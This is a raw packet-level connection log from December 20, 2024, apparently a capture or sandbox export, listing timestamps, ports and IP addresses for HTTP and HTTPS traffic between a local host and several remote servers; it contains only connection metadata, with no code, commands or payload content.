Dec 20, 2024 11:12:34.512787104 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:34.513669014 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:34.513716936 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:34.513808966 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:34.513855934 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:34.514853001 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:34.514906883 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:34.515036106 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:34.515084982 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:34.516108036 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:34.516155958 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:34.516186953 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:34.516235113 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:34.516870022 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:34.516918898 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:34.516963005 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:34.517013073 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:34.517910004 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:34.517957926 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:34.517996073 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:34.518043041 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:34.518973112 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:34.519020081 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:34.519058943 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:34.519105911 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:34.520010948 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:34.520061016 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:34.520068884 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:34.520117998 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:34.521114111 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:34.521162987 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:34.521234989 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:34.521281958 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:34.522138119 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:34.522185087 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:34.522187948 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:34.522233963 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:34.523206949 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:34.523255110 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:34.523310900 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:34.523375034 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:34.524238110 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:34.524285078 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:34.524318933 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:34.524368048 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:34.525324106 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:34.525368929 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:34.525407076 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:34.525455952 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:34.526392937 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:34.526441097 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:34.526504993 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:34.526551962 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:36.814631939 CET	49813	80	192.168.2.4	185.215.113.43
Dec 20, 2024 11:12:36.814968109 CET	49839	80	192.168.2.4	185.215.113.43
Dec 20, 2024 11:12:36.935987949 CET	80	49839	185.215.113.43	192.168.2.4
Dec 20, 2024 11:12:36.936062098 CET	80	49813	185.215.113.43	192.168.2.4
Dec 20, 2024 11:12:36.936096907 CET	49839	80	192.168.2.4	185.215.113.43
Dec 20, 2024 11:12:36.936111927 CET	49813	80	192.168.2.4	185.215.113.43
Dec 20, 2024 11:12:36.957672119 CET	49839	80	192.168.2.4	185.215.113.43
Dec 20, 2024 11:12:37.077233076 CET	80	49839	185.215.113.43	192.168.2.4
Dec 20, 2024 11:12:38.289226055 CET	80	49839	185.215.113.43	192.168.2.4
Dec 20, 2024 11:12:38.289315939 CET	49839	80	192.168.2.4	185.215.113.43
Dec 20, 2024 11:12:38.309457064 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:38.309700966 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:38.429203987 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:38.429303885 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:38.429488897 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:38.429513931 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:38.467650890 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:38.587109089 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:38.588660955 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:38.708261013 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:38.708363056 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:38.714837074 CET	49847	443	192.168.2.4	172.67.197.170
Dec 20, 2024 11:12:38.714899063 CET	443	49847	172.67.197.170	192.168.2.4
Dec 20, 2024 11:12:38.714976072 CET	49847	443	192.168.2.4	172.67.197.170
Dec 20, 2024 11:12:38.718621969 CET	49847	443	192.168.2.4	172.67.197.170
Dec 20, 2024 11:12:38.718657970 CET	443	49847	172.67.197.170	192.168.2.4
Dec 20, 2024 11:12:38.722974062 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:38.842446089 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:39.770075083 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:39.770181894 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:39.770198107 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:39.770214081 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:39.770231962 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:39.770247936 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:39.770265102 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:39.770271063 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:39.770339012 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:39.770339012 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:39.770374060 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:39.770391941 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:39.770409107 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:39.770426035 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:39.770451069 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:39.890016079 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:39.890083075 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:39.890146017 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:39.890286922 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:39.894145012 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:39.894210100 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:39.931504965 CET	443	49847	172.67.197.170	192.168.2.4
Dec 20, 2024 11:12:39.931809902 CET	49847	443	192.168.2.4	172.67.197.170
Dec 20, 2024 11:12:39.933070898 CET	49847	443	192.168.2.4	172.67.197.170
Dec 20, 2024 11:12:39.933101892 CET	443	49847	172.67.197.170	192.168.2.4
Dec 20, 2024 11:12:39.933454990 CET	443	49847	172.67.197.170	192.168.2.4
Dec 20, 2024 11:12:39.961962938 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:39.961997986 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:39.962075949 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:39.964416027 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:39.964524031 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:39.964591980 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:39.972876072 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:39.972970009 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:39.973056078 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:39.978394985 CET	49847	443	192.168.2.4	172.67.197.170
Dec 20, 2024 11:12:39.978394985 CET	49847	443	192.168.2.4	172.67.197.170
Dec 20, 2024 11:12:39.978549957 CET	443	49847	172.67.197.170	192.168.2.4
Dec 20, 2024 11:12:39.981215000 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:39.981298923 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:39.981358051 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:39.981509924 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:39.989581108 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:39.989671946 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:39.989739895 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:39.998022079 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:39.998142004 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:39.998205900 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.006390095 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.006458998 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.006548882 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.006922007 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.014790058 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.014858961 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.014910936 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.014971972 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.023236990 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.023312092 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.023350000 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.023408890 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.031572104 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.031697989 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.031755924 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.039704084 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.039779902 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.039843082 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.039925098 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.040496111 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:40.040585995 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:40.042686939 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:40.047362089 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.047430992 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.154014111 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.154082060 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.154117107 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.154165983 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.156282902 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.157206059 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.157241106 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.157285929 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.157320023 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.161875963 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.161932945 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.161945105 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.162058115 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.162209034 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:40.166502953 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.166625023 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.166642904 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.166754961 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.171179056 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.171246052 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.171268940 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.171335936 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.175806046 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.175918102 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.175971985 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.175971985 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.180445910 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.180524111 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.180587053 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.185081005 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.185214996 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.185278893 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.189688921 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.189821005 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.189883947 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.194336891 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.194436073 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.194499969 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.198947906 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.199079037 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.199142933 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.203613997 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.203761101 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.203821898 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.208254099 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.208327055 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.208467007 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.212914944 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.213044882 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.213102102 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.217533112 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.217669010 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.217729092 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.222151041 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.222227097 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.222306967 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.226783037 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.226924896 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.226979971 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.231462002 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.231548071 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.231647968 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.232007027 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.236116886 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.236239910 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.236306906 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.240693092 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.240783930 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.240839958 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.240896940 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.245342970 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.245446920 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.245513916 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.249960899 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.250077009 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.250134945 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.346093893 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.346153021 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.346230984 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.347897053 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.347970009 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.348042965 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.351578951 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.351924896 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.352989912 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.353132010 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.353189945 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.356733084 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.356786966 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.356854916 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.360392094 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.360428095 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.360500097 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.363707066 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.363776922 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.363790989 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.363914967 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.367295027 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.367404938 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.367465019 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.370512009 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.370670080 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.370739937 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.373801947 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.373858929 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.373898029 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.375905991 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.377032042 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.377099037 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.377173901 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.377232075 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.380458117 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.380682945 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.380753040 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.383373022 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.383498907 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.383563042 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.386528015 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.386564016 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.386584997 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.387904882 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.389663935 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.389739990 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.389801025 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.392788887 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.392893076 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.392956972 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.395948887 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.396013021 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.396084070 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.396140099 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.399111032 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.399173975 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.399180889 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.399297953 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.402606964 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.402718067 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.402781963 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.405430079 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.405518055 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.405581951 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.408586979 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.408823967 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.408881903 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.411669970 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.411773920 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.411808968 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.411914110 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.414833069 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.414901972 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.414940119 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.417937994 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.417999029 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.418054104 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.418090105 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.418149948 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.421788931 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.421849012 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.421890974 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.423907042 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.424424887 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.424542904 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.424598932 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.427423954 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.427642107 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.427705050 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.430571079 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.430619001 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.430676937 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.432574034 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.433751106 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.433826923 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.433921099 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.433976889 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.436913013 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.437047958 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.437223911 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.440057993 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.440208912 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.440275908 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.443361044 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.443414927 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.443495989 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.446366072 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.446454048 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.446485996 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.447922945 CET	49845	80	192.168.2.4	185.215.113.16
